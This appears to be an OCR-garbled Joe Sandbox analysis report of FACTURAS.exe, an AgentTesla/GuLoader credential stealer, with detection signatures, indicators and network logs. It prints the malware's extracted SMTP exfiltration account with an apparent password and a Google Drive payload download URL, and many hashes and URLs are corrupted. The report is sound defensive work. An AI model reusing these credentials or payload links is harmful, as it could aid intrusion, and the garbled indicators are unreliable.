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Windows Analysis Report FACTURAS.exe

Overview

General Information

Sample FACTURAS.exe
Name:

Analysis ID: 531838

MD5: ah82f374210a08b.
SHAL: 6a56h815491850..
SHA256: ab41887e471ac8..
Infos: (O gL

Most interesting Screenshot:

Process Tree

= System is wl0x64native

AgentTesla GulLoader
100

Confidence: 100%

Detection Signatures

F MALICIOUS ]

Found malware configuration

Potential malicious icon found

Multi AV Scanner detection for subm...
Yara detected AgentTesla

Yara detected Guloader

Hides threads from debuggers

Tries to steal Mail credentials (via fil...
Writes to foreign memory. regions
Tries to harvest and steal Putty / Wi...
Tries to detect Any.run

0-100 Tries to harvest and steal ftp loginic

false
Tries to detect sandboxes and other...

e [ FACTURAS.exe (PID: 592 cmdline: "C:\Users\user\Desktop\FACTURAS.exe" MD5: AB82F374210A08B2221D5E1807400A32)
e [m] CasPol.exe (PID: 432 cmdline: "C:\Users\user\Desktop\FACTURAS.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

e [ CasPol.exe (PID: 1268 cmdline: "C:\Users\user\Desktop\FACTURAS.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
o conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)

= cleanup

Malware Configuration

Threatname: Agenttesla

{
"Exfil Mode": "SMTP",

“"SMTP Info": "guinaz@furteksdokuma.com.tr@Gulnaz159753mail. furteksdokuma.com.trsarahmorg434@gmail.com”

}

Threatname: GuLoader

{

"Payload URL": "https.//drive.google.com/uc?export=download&id=11UpsPasq_HHoJ"

}

Yara Overview

Memory Dumps

Source

00000005.00000002.29215652303.000000001E
1A1000.00000004.00000001.sdmp

00000005.00000002.29215652303.000000001E
1A1000.00000004.00000001.sdmp

Copyright Joe Security LLC 2021

Rule Description Author Strings
JoeSecurity_AgentTesla_1 Yara detected Joe Security
AgentTesla
JoeSecurity_CredentialSte Yara detected Joe Security
aler Credential Stealer

Classification
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Source Rule Description Author Strings

00000005.00000000.24364934028.0000000001 JoeSecurity_GulLoader_2 Yara detected Joe Security
100000.00000040.00000001.sdmp GuLoader
Process Memory Space: CasPol.exe PID: 1268 JoeSecurity_AgentTesla_1 Yara detected Joe Security
AgentTesla
Process Memory Space: CasPol.exe PID: 1268 JoeSecurity_CredentialSte Yara detected Joe Security
aler Credential Stealer

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

=

Found malware configuration

Multi AV Scanner detection for submitted file

Networking:

‘]

=

System Summary:

Potential malicious icon found

Data Obfuscation:

]

Yara detected GuLoader

Malware Analysis System Evasion:

Anti Debugging:

=

HIPS | PFW | Operating System Protection Evasion:

]‘]

Stealing of Sensitive Information:

Yara detected AgentTesla
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Remote Access Functionality:

Yara detected AgentTesla

Mitre Att&ck Matrix

Initial
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Valid Windows Management  DLL Side-

Accounts  Instrumentation Loading

Default Scheduled Task/Job Boot or
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Initialization
Scripts

Domain At (Linux) Logon Script

Accounts (Windows)

Local At (Windows) Logon Script
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Cloud Cron Network

Accounts Logon Script

Replication Launchd Rc.common

Through

Removable

Media

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
furteksdokuma.com.tr 0% Virustotal Browse
mail.furteksdokuma.com.tr 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://DynDns.comDynDNS 0% Avira URL Cloud safe
http://https://sectigo.com/CPS0 0% Avira URL Cloud safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.zip%tordir%%ha

http://furteksdokuma.com.tr 0% Avira URL Cloud safe
http://https://Z655gVkulZnhDyQfl.nett- 0% Avira URL Cloud safe

http:/fmail furteksdokuma.com.tr 0% Avira URL Cloud  safe

Copyright Joe Security LLC 2021 Page 8 of 37


https://www.virustotal.com/gui/url/4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e/detection/u-4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e-1562260472
https://www.virustotal.com/gui/url/c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb/detection/u-c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb-1635755249

Source Detection Scanner Label Link

http://https://Z655gVkulZnhDyQfl.net 0% Avira URL Cloud safe
http:/fkFWRbv.com 0% Avira URL Cloud safe
http://https://csp.withgoogle.com/csp/report-to/gse_I9ocaq 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
drive.google.com 142.250.186.174 true false high
googlehosted.l.googleusercontent.com 142.250.185.129 true false high

doc-0c-6k-docs.googleusercontent.com unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:i/https://doc-Oc-6k- false high
docs.googleusercontent.com/docs/securesc/ha0Oro937gcuc?I7deffksulhg5h7mbp1/8005s8flolt
snuahdkbclhObd9255sdi/1638361575000/11612195336931281153/*/11UpsPasq_HHo9riShtDn

OtSECFd2czsi?e=download

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

142.250.185.129 googlehosted.l.googleuser United States = 15169 GOOGLEUS false
content.com

142.250.186.174 drive.google.com United States 15169 GOOGLEUS false

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 531838

Start date: 01.12.2021

Start time: 13:24:01

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 12m 44s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: FACTURAS.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 10

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o ©o o o

Number of injected processes analysed:
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https://www.virustotal.com/gui/url/4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e/detection/u-4ba9966b757afdc23984aa9d35cab104910a7d468af0c8cf0ee09e70e3de303e-1562260472
https://www.virustotal.com/gui/url/c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb/detection/u-c4ae6bc14cc34b97aa44e52098a298916eed25ec7e738828d287cf42a3921abb-1635755249

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

13:26:45

API Interceptor

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]
default
Timeout
MAL
mal100.rans.troj.spyw.evad.winEXE@6/1@3/3
Failed
Failed

® Successful, ratio: 96%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All

Type Description

Joe Sandbox View | Context

IPs

Match
116.202.203.61

Domains

Match

ASN

Match
HETZNER-ASDE

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

2694x Sleep call for process: CasPol.exe modified

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Context

Context

Context

144.76.183.53
5.9.162.45
116.202.14.219
5.9.162.45
5.9.162.45
5.9.162.45
5.9.162.45

95.216.15.24
144.76.136.153
5.9.162.45
159.69.92.223
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https://view.joesandbox.com/analysis/417977/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417977/html/none?idtype=webid
https://view.joesandbox.com/analysis/417916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417916/html/none?idtype=webid
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid
https://view.joesandbox.com/analysis/407273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407273/html/none?idtype=webid
https://view.joesandbox.com/analysis/406606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406606/html/none?idtype=webid
https://view.joesandbox.com/analysis/406237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406237/html/none?idtype=webid
https://view.joesandbox.com/analysis/403379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403379/html/none?idtype=webid
https://view.joesandbox.com/analysis/403234/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403234/html/none?idtype=webid
https://view.joesandbox.com/analysis/201558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/201558/html/none?idtype=webid
https://view.joesandbox.com/analysis/419031/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419031/html/none?idtype=webid
https://view.joesandbox.com/analysis/418996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418996/html/none?idtype=webid
https://view.joesandbox.com/analysis/418950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418950/html/none?idtype=webid
https://view.joesandbox.com/analysis/418946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418946/html/none?idtype=webid
https://view.joesandbox.com/analysis/418941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418941/html/none?idtype=webid
https://view.joesandbox.com/analysis/418872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418872/html/none?idtype=webid
https://view.joesandbox.com/analysis/418853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418853/html/none?idtype=webid
https://view.joesandbox.com/analysis/418789/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418789/html/none?idtype=webid
https://view.joesandbox.com/analysis/418772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418772/html/none?idtype=webid
https://view.joesandbox.com/analysis/418753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418753/html/none?idtype=webid
https://view.joesandbox.com/analysis/418743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418743/html/none?idtype=webid

Match

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06el9

Copyright Joe Security LLC 2021

Associated Sample Name / URL

Associated Sample Name | URL

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

159.69.92.223
5.9.162.45
5.9.162.45
144.76.136.153
5.9.162.45

168.119.10
7.124

5.9.162.45
144.76.0.164
5.9.162.45

Context

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174

142.250.18
5.129
142.250.18
6.174
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https://view.joesandbox.com/analysis/418740/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418740/html/none?idtype=webid
https://view.joesandbox.com/analysis/418727/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418727/html/none?idtype=webid
https://view.joesandbox.com/analysis/418639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418639/html/none?idtype=webid
https://view.joesandbox.com/analysis/418615/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418615/html/none?idtype=webid
https://view.joesandbox.com/analysis/418606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418606/html/none?idtype=webid
https://view.joesandbox.com/analysis/418602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418602/html/none?idtype=webid
https://view.joesandbox.com/analysis/418591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418591/html/none?idtype=webid
https://view.joesandbox.com/analysis/418523/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418523/html/none?idtype=webid
https://view.joesandbox.com/analysis/418491/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418491/html/none?idtype=webid
https://view.joesandbox.com/analysis/419022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419022/html/none?idtype=webid
https://view.joesandbox.com/analysis/419018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419018/html/none?idtype=webid
https://view.joesandbox.com/analysis/419005/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419005/html/none?idtype=webid
https://view.joesandbox.com/analysis/419004/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419004/html/none?idtype=webid
https://view.joesandbox.com/analysis/418999/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418999/html/none?idtype=webid
https://view.joesandbox.com/analysis/418987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418987/html/none?idtype=webid
https://view.joesandbox.com/analysis/418952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418952/html/none?idtype=webid
https://view.joesandbox.com/analysis/418950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418950/html/none?idtype=webid
https://view.joesandbox.com/analysis/418946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418946/html/none?idtype=webid
https://view.joesandbox.com/analysis/418941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418941/html/none?idtype=webid
https://view.joesandbox.com/analysis/418926/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418926/html/none?idtype=webid
https://view.joesandbox.com/analysis/418892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418892/html/none?idtype=webid
https://view.joesandbox.com/analysis/418891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418891/html/none?idtype=webid
https://view.joesandbox.com/analysis/418854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418854/html/none?idtype=webid
https://view.joesandbox.com/analysis/418847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418847/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 142.250.18
5.129
e 142.250.18
6.174
Get hash malicious Browse e 142.250.18
5.129
e 142.250.18
6.174
Get hash malicious Browse e 142.250.18
5.129
e 142.250.18
6.174
Get hash malicious Browse e 142.250.18
5.129
e 142.250.18
6.174
Get hash malicious Browse e 142.250.18
5.129
e 142.250.18
6.174
Dropped Files
No context
Created / dropped Files
\Device\ConDrv
Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped
Size (bytes): 30
Entropy (8bit): 3.964735178725505
Encrypted: false
SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner
MD5: 9F754B47B351EFOFC32527B541420595
SHA1L: 006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false
Reputation: moderate, very likely benign file
Preview:
NordVPN directory not found!..
Static File Info
General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 5.1786714462714025
TriD: e Win32 Executable (generic) a (10002005/4)
99.15%
e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%
File name: FACTURAS.exe
File size: 152720
MDS5: ab82f374210a08b2221d5e1807400a32
SHA1L: 6a56h81549185015743deaal96996f73787c5¢c7d
SHA256: ab41887e471ac822f1240bf554098fa042910f1c7ac2f9e3
90081829515bc2fa
SHA512: 8844aca394f38a59a63b1984a00b16861a0f7e0fdc04ba2

Oaba264da79fc6e54eeb73c6814f0745ab37bal2ba306et
371561e64f23deac22ba555d75aa3b2019
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https://view.joesandbox.com/analysis/418840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418840/html/none?idtype=webid
https://view.joesandbox.com/analysis/418827/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418827/html/none?idtype=webid
https://view.joesandbox.com/analysis/418789/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418789/html/none?idtype=webid
https://view.joesandbox.com/analysis/418787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418787/html/none?idtype=webid
https://view.joesandbox.com/analysis/418753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418753/html/none?idtype=webid

General

SSDEEP:

File Content Preview:

File Icon

3

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:
Authenticode Signature

Signature Valid:

Signature Issuer:
Signature Validation Error:

Error Number:
Not Before, Not After
Subject Chain

Version:

Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:

Serial:

Entrypoint Preview
Data Directories
Sections

Name  Virtual Address
text 0x1000

.data 0x22000

.rsrc 0x24000

Copyright Joe Security LLC 2021

Virtual Size

0x20cc4

0x122c

0x970

Raw Size

0x21000

0x1000

0x1000

Xored PE

False

False

False

ZLIB Complexity

1536:9ZEG7DecysKvlp4erYY77BLm321zb2aKQhbHdE
s5obasAJepPNp8:6EG7Dpy9nYYn2EzBKYpdOSoNp8

20047c7c70f0e004

0x401888
text

true
0x400000
windows gui

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x5534C2F5 [Mon Apr 20 09:12:21 2015 UTC]

o » o & O &

b209c8634733456633136bfedc71877a

false

E=parteringens@Shiremen3.slu, CN=SELSKABSLOKALET, OU=Interimskvitteringerne,
O=JUSTITSEN, L=Rutiners, S=honkytonks, C=ML

A certificate chain processed, but terminated in a root certificate which is not trusted
by the trust provider

-2146762487
e 01/12/2021 10:36:44 01/12/2022 10:36:44

e E=parteringens@Shiremen3.slu, CN=SELSKABSLOKALET, OU=lInterimskvitteringerne,
O=JUSTITSEN, L=Rutiners, S=honkytonks, C=ML

3

CDDFD4747563B21AE94964F7C6F9EB7A
1CFBE705D5055A36D357E2EF5F5FE20BC6959CA9
176B1E7918EE21C3FEADE8SCC2C9D049B7DFDE73ECFE288C07CF37C692D0011A0
00

File Type Entropy Characteristics

0.367520419034 data 5.25414504645 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

0.173828125 data 2.0476168209 IMAGE_SCN_CNT_INITIALIZED_DA

TA, IMAGE_SCN_MEM_READ
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Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken Map

Chinese Taiwan

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Dec 1, 2021 13:26:34.615816116 CET 192.168.11.20 1111 0xc13b Standard query  drive.google.com A (IP address) IN (0x0001)
()
Dec 1, 2021 13:26:35.281450033 CET 192.168.11.20 1111 0xed60 Standard query  doc-Oc-6k- A (IP address) IN (0x0001)
0) docs.goog|
eusercontent.com
Dec 1, 2021 13:28:11.242357016 CET 192.168.11.20 1111 Oxbfc7 Standard query  mail.furte A (IP address) IN (0x0001)
0) ksdokuma.com.tr
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Dec 1, 2021 1111 192.168.11.20  0xcl3b No error (0) drive.goog 142.250.186.174 A (IP address)  IN (0x0001)
13:26:34.625118971 le.com
CET
Dec 1, 2021 1111 192.168.11.20  Oxed60 No error (0) doc-0c-6k- googlehosted.l.googleuse CNAME IN (0x0001)
13:26:35.291563988 docs.goog| rcontent.com (Canonical
CET euserconte name)
nt.com
Dec 1, 2021 1111 192.168.11.20  Oxed60 No error (0) googlehost 142.250.185.129 A (IP address)  IN (0x0001)
13:26:35.291563988 ed.l.goog!
CET euserconte
nt.com
Dec 1, 2021 1111 192.168.11.20  Oxbfc7 No error (0) mail.furte furteksdokuma.com.tr CNAME IN (0x0001)
13:28:11.528119087 ksdokuma.c (Canonical
CET om.tr name)
Dec 1, 2021 1.1.1.1 192.168.11.20  Oxbfc7 No error (0) furteksdok 116.202.203.61 A (IP address)  IN (0x0001)
13:28:11.528119087 uma.com.tr
CET

HTTP Request Dependency Graph

e drive.google.com

e doc-0c-6k-docs.googleusercontent.com
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HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

2021-12-0112:26:34 UTC 0

2021-12-01 12:26:35 UTC 0

2021-12-01 12:26:35 UTC 1

2021-12-01 12:26:35 UTC 2

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-12-01 12:26:35 UTC 2

Copyright Joe Security LLC 2021

Source Port

49805

Direction

ouT

Source Port
49806

Direction
ouT

Destination IP Destination Port Process

142.250.186.174 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=11UpsPasq_HHo9riShtDnotSECFd2czsi HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 01 Dec 2021 12:26:35 GMT

Location: https://doc-0c-6k-docs.googleusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhg5h7mbp1/8005s8f1
oltsnuahdkbclhObd9255sdi/1638361575000/11612195336931281153/*/11UpsPasq_HHo9riShtDnotSECFd2czsi?e=do
wnload

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-fdGtKsMGMcuJ8RMWeKP+qw' 'unsafe-inline’ 'strict-dynamic' https: http: 'unsafe
-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=BpRc3QIENhNXCf0iwnsNT1a5StpTR8dcx4GhGfWh3AOILCpYKUN_0JiFL7utkZyPayoMQx
wlQUoaAsXsh9V4HaJdr7yzcPVSIpJIDQrB50h5qB5A0xgJIZIb-tYHrHfc606GiOkY0gVuynkpeO3vKCxDR-GFkKTzY
NOHE4Hcoczg; expires=Thu, 02-Jun-2022 12:26:34 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
e

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 63 2d 36 6b 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 38 30 30 35

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0c-6k-docs.goog
leusercontent.com/docs/securesc/ha0Oro937gcuc?7I7deffksulhgsh7mbp1/8005

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP  Destination Port Process
142.250.185.129 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /docs/securesc/haOro937gcuc?|7deffksulng5h7mbp1/8005s8floltsnuahdkbclhObd9255sdi/1638361575000/1
1612195336931281153/*/11UpsPasq_HHo9riShtDnotSECFd2czsi?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-0c-6k-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-12-01 12:26:35 UTC 2

2021-12-01 12:26:35 UTC 6

2021-12-01 12:26:35 UTC 9

2021-12-01 12:26:35 UTC 13

2021-12-01 12:26:35 UTC 17

2021-12-01 12:26:35 UTC 18
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Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdsunyHS9gVeO6K8uH34kgGRvgg25zIqYynnjnAx5S9gyQkEOpeVi560WKau_nISEKH-
7ujHx_mAuJ8asd1DtTI

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Cl
ient, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visib
ilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-
Pageld, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-1d, X-Goog-Request-Info, X-Goog-Request-R
eason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-
Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-
Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-
Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding,
